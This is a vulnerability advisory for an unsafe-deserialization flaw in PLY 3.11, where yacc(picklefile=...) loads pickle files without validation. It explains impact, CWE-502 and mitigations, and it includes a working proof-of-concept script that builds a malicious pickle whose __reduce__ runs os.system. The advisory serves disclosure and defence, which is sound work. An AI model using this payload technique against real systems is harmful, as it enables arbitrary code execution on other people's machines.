# 🚨 Undocumented Remote Code Execution in PLY CVE‑2025‑56005

```
CVE ID: CVE‑2025‑56005
Reported by: Ahmed Abd
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

```
## Summary

An undocumented and unsafe feature in the PyPI‑distributed version of **PLY 3.11** allows **arbitrary code execution** when the `yacc()` function is invoked with the `picklefile` parameter.

The `picklefile` parameter causes PLY to deserialize a `.pkl` file using Python’s `pickle.load()` **without validation**. Because Python’s `pickle` module supports execution of arbitrary code during deserialization (e.g., via `__reduce__()`), an attacker who can control the supplied pickle file can execute arbitrary code during parser initialization.

This parameter is **not documented** in the official PLY documentation or GitHub repository, yet it is active in the PyPI release.

---

## Impact

attacker can control, replace, or influence the `.pkl` file passed to `yacc(picklefile=...)`, they can achieve:

* Arbitrary code execution
* Execution during application startup
* Code execution before any parsing logic is reached

This may affect applications that load parser tables from:

* Cached locations
* Shared directories
* CI/CD pipelines
* Configurable or writable paths

---

## 🔍 Vulnerability Details

* **Vulnerability Type:** Arbitrary Code Execution
* **Attack Type:** Context‑dependent
* **Attack Vector:** Unsafe deserialization of attacker‑controlled pickle file
* **Impact:** Code execution
* **CWE:** CWE‑502 (Deserialization of Untrusted Data)

### Affected Functionality

* `ply.yacc.yacc(picklefile=...)`
* `LRTable.read_pickle()` in `ply/yacc.py`

---

## Additional Information (Context & Risk)

This vulnerability presents elevated risk due to its **stealthy nature** and potential for **persistence**.

The `picklefile` parameter is **undocumented** in the official PLY documentation and GitHub repository. However, the PyPI‑distributed version of PLY 3.11 includes this functionality and processes the supplied file using `pickle.load()` without validation.

Because Python’s `pickle` module permits execution of embedded code during deserialization, a malicious pickle file can execute arbitrary code **during parser setup**, before any parsing logic is invoked.

At the time of writing, the maintainer has not publicly acknowledged this behavior.

This functionality can be abused to introduce **persistent backdoors**, particularly in environments where parser table files are:

* Cached on disk
* Shared between users or services
* Generated or reused in CI/CD pipelines
* Loaded from configurable or writable paths

Given the lack of documentation, silent execution path, and the high impact of unsafe deserialization, a CVE assignment is warranted to raise awareness and protect downstream users.

---

## Proof of Concept (PoC)

This proof of concept demonstrates arbitrary code execution when a malicious pickle file is supplied via the undocumented `picklefile` parameter.

### PoC Overview

The PoC:

* Defines a minimal lexer and parser
* Crafts a malicious pickle payload
* Executes a system command during deserialization

### Expected Result

When `yacc(picklefile='exploit.pkl')` is invoked, arbitrary code is executed during parser initialization.

```python
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
```

---

## Mitigation

* Do **not** use the `picklefile` parameter with untrusted or externally writable files
* Avoid loading parser tables from user‑controlled locations
* Treat all pickle files as **unsafe input**
* Prefer regenerating parser tables rather than loading them from disk

---


## References

* PLY GitHub Repository: [https://github.com/dabeaz/ply](https://github.com/dabeaz/ply)
* PyPI Package: [https://pypi.org/project/ply/](https://pypi.org/project/ply/)
* Python Pickle Documentation: [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)
* Proof of Concept Repository:
  [https://github.com/bohmiiidd/Undocumented-RCE-in-PLY](https://github.com/bohmiiidd/Undocumented-RCE-in-PLY)